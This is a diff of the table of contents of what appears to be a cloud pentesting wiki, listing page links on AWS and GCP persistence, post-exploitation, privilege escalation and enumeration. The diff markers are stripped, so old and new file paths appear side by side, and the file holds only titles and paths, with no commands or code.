- [GCP - Bigtable Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md)
- [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
- [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
- [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
@@ -192,7 +185,6 @@
- [GCP - Spanner Enum](pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md)
- [GCP - Stackdriver Enum](pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md)
- [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md)
- [GCP - Vertex AI Enum](pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md)
- [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md)
- [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md)
- [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md)
@@ -224,139 +216,109 @@
- [AWS - Federation Abuse](pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md)
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md)
- [AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)](pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
- [AWS - ECR Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md)
- [AWS - ECS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md)
- [AWS - Elastic Beanstalk Persistence](pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md)
- [AWS - EFS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md)
- [AWS - IAM Persistence](pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md)
- [AWS - KMS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md)
- [AWS - Lambda Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md)
- [AWS - Abusing Lambda Extensions](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
- [AWS - Lambda Alias Version Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md)
- [AWS - Lambda Async Self Loop Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md)
- [AWS - Lambda Layers Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md)
- [AWS - Lambda Exec Wrapper Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md)
- [AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md)
- [AWS - SQS OrgID Policy Backdoor](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md)
- [AWS - Lightsail Persistence](pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md)
- [AWS - RDS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md)
- [AWS - S3 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md)
- [Aws Sagemaker Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md)
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md)
- [AWS - Bedrock Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md)
- [AWS - API Gateway Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md)
- [AWS - CloudFront Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md)
- [AWS - CodeBuild Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md)
- [AWS Codebuild - Token Leakage](pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md)
- [AWS - Control Tower Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md)
- [AWS - DLM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md)
- [AWS - DynamoDB Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md)
- [AWS - EC2, EBS, SSM & VPC Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md)
- [AWS - EBS Snapshot Dump](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
- [AWS Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md)
- [AWS - Live Data Theft via EBS Multi-Attach](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md)
- [AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md)
- [AWS EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md)
- [AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md)
- [AWS - Security Group Backdoor via Managed Prefix Lists](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md)
- [AWS Egress Bypass from Isolated Subnets via VPC Endpoints](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md)
- [AWS - VPC Flow Logs Cross-Account Exfiltration to S3](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md)
- [AWS - Malicious VPC Mirror](pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md)
- [AWS - ECR Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md)
- [AWS - ECS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md)
- [AWS - EFS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md)
- [AWS - EKS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md)
- [AWS - Elastic Beanstalk Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
- [AWS - IAM Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md)
- [AWS - KMS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md)
- [AWS - Lambda Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md)
- [AWS - Lambda EFS Mount Injection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md)
- [AWS - Lambda Event Source Mapping Hijack](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md)
- [AWS - Lambda Function URL Public Exposure](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md)
- [AWS - Lambda LoggingConfig Redirection](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md)
- [AWS - Lambda Runtime Pinning Abuse](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md)
- [AWS - Lambda Steal Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lambda VPC Egress Bypass](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md)
- [AWS - MWAA Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-mwaa-post-exploitation/README.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md)
- [AWS - SageMaker Post-Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md)
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md)
- [AWS - SNS Message Data Protection Bypass via Policy Downgrade](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md)
- [SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md)
- [AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md)
- [AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
- [AWS SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md)
- [AWS - Steal Lambda Requests](pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
- [AWS - Lightsail Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md)
- [AWS - Organizations Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md)
- [AWS - RDS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md)
- [AWS - S3 Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md)
- [AWS - Secrets Manager Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md)
- [AWS - SES Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md)
- [AWS - SNS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md)
- [AWS - SQS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md)
- [AWS - SSO & identitystore Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
- [AWS - Step Functions Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
- [AWS - STS Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md)
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
- [codestar:CreateProject, codestar:AssociateTeamMember](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md)
- [iam:PassRole, codestar:CreateProject](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md)
- [AWS - Cloudformation Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md)
- [iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
@@ -373,7 +335,6 @@
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
@@ -384,7 +345,7 @@
